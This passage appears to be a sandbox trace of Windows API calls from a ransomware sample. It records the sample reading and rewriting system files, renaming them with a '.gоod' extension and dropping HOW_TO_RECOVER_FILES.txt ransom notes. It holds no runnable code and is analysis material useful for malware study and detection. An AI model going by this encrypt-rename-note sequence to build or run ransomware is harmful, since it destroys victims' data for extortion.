cAlternateFileName="")) returned 0x131dec0 [0104.747] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.747] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0104.747] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0104.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0104.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0104.747] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MapData\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MapData\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x39 [0104.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0104.747] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MapData\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\mapdata\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0104.749] GetFileType (hFile=0x6e0) returned 0x1 [0104.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0104.749] GetFileType (hFile=0x6e0) returned 0x1 [0104.750] WriteFile (in: hFile=0x6e0, lpBuffer=0x32fbba0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x32fbba0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0104.751] CloseHandle (hObject=0x6e0) returned 1 [0104.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0104.751] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF", lpFilePart=0x0) returned 0x1b [0104.751] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0104.751] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.751] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0104.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0104.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.752] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0104.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0104.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0104.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0104.752] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF", lpFilePart=0x0) returned 0x1b [0104.752] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0104.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0104.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0104.753] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0104.753] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0104.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0104.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0104.753] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", lpFilePart=0x0) returned 0x26 [0104.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0104.753] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), fInfoLevelId=0x0, lpFileInformation=0x330a9b8 | out: lpFileInformation=0x330a9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c)) returned 1 [0104.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0104.753] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", lpFilePart=0x0) returned 0x26 [0104.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0104.753] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.753] GetFileType (hFile=0x6e0) returned 0x1 [0104.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0104.753] GetFileType (hFile=0x6e0) returned 0x1 [0104.753] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0104.754] ReadFile (in: hFile=0x6e0, lpBuffer=0x330ad40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x330ad40*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0104.772] CloseHandle (hObject=0x6e0) returned 1 [0104.772] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", lpFilePart=0x0) returned 0x26 [0104.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0104.772] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.772] GetFileType (hFile=0x6e0) returned 0x1 [0104.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0104.772] GetFileType (hFile=0x6e0) returned 0x1 [0104.772] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x3a7c [0104.772] WriteFile (in: hFile=0x6e0, lpBuffer=0x3311070*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3311070*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0104.851] CloseHandle (hObject=0x6e0) returned 1 [0104.851] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", lpFilePart=0x0) returned 0x26 [0104.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0104.851] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.851] GetFileType (hFile=0x6e0) returned 0x1 [0104.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0104.852] GetFileType (hFile=0x6e0) returned 0x1 [0104.852] ReadFile (in: hFile=0x6e0, lpBuffer=0x33bc6b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x33bc6b0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0104.885] CloseHandle (hObject=0x6e0) returned 1 [0104.885] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", lpFilePart=0x0) returned 0x26 [0104.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0104.885] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.885] GetFileType (hFile=0x6e0) returned 0x1 [0104.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0104.885] GetFileType (hFile=0x6e0) returned 0x1 [0104.886] WriteFile (in: hFile=0x6e0, lpBuffer=0x33bb450*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x33bb450*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0104.886] CloseHandle (hObject=0x6e0) returned 1 [0104.886] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", lpFilePart=0x0) returned 0x26 [0104.886] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.gоod", lpFilePart=0x0) returned 0x2b [0104.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0104.886] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3ab9f6b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8c)) returned 1 [0104.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0104.886] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), lpNewFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.gоod" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl.gоod")) returned 1 [0104.887] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", lpFilePart=0x0) returned 0x27 [0104.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0104.887] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), fInfoLevelId=0x0, lpFileInformation=0x3438ac0 | out: lpFileInformation=0x3438ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c)) returned 1 [0104.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0104.969] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", lpFilePart=0x0) returned 0x27 [0104.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0104.971] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0104.971] GetFileType (hFile=0x7c8) returned 0x1 [0104.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0104.971] GetFileType (hFile=0x7c8) returned 0x1 [0104.971] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0104.971] ReadFile (in: hFile=0x7c8, lpBuffer=0x32f4010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x32f4010*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0104.972] CloseHandle (hObject=0x7c8) returned 1 [0104.972] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", lpFilePart=0x0) returned 0x27 [0104.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0104.972] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0104.973] GetFileType (hFile=0x7c8) returned 0x1 [0104.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0104.973] GetFileType (hFile=0x7c8) returned 0x1 [0104.973] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x3a7c [0104.973] WriteFile (in: hFile=0x7c8, lpBuffer=0x32f5260*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x32f5260*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0104.973] CloseHandle (hObject=0x7c8) returned 1 [0104.974] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", lpFilePart=0x0) returned 0x27 [0104.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0104.974] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0104.974] GetFileType (hFile=0x7c8) returned 0x1 [0104.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0104.974] GetFileType (hFile=0x7c8) returned 0x1 [0104.974] ReadFile (in: hFile=0x7c8, lpBuffer=0x32f74d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x32f74d8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0105.004] CloseHandle (hObject=0x7c8) returned 1 [0105.004] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", lpFilePart=0x0) returned 0x27 [0105.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0105.004] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.004] GetFileType (hFile=0x7c8) returned 0x1 [0105.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0105.004] GetFileType (hFile=0x7c8) returned 0x1 [0105.005] WriteFile (in: hFile=0x7c8, lpBuffer=0x32f6278*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x32f6278*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0105.005] CloseHandle (hObject=0x7c8) returned 1 [0105.005] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", lpFilePart=0x0) returned 0x27 [0105.005] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.gоod", lpFilePart=0x0) returned 0x2c [0105.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0105.005] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8c)) returned 1 [0105.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0105.005] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), lpNewFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.gоod" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl.gоod")) returned 1 [0105.006] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x34 [0105.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0105.006] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\mf\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0105.006] GetFileType (hFile=0x7c8) returned 0x1 [0105.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0105.006] GetFileType (hFile=0x7c8) returned 0x1 [0105.007] WriteFile (in: hFile=0x7c8, lpBuffer=0x3375d28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3375d28*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0105.007] CloseHandle (hObject=0x7c8) returned 1 [0105.008] 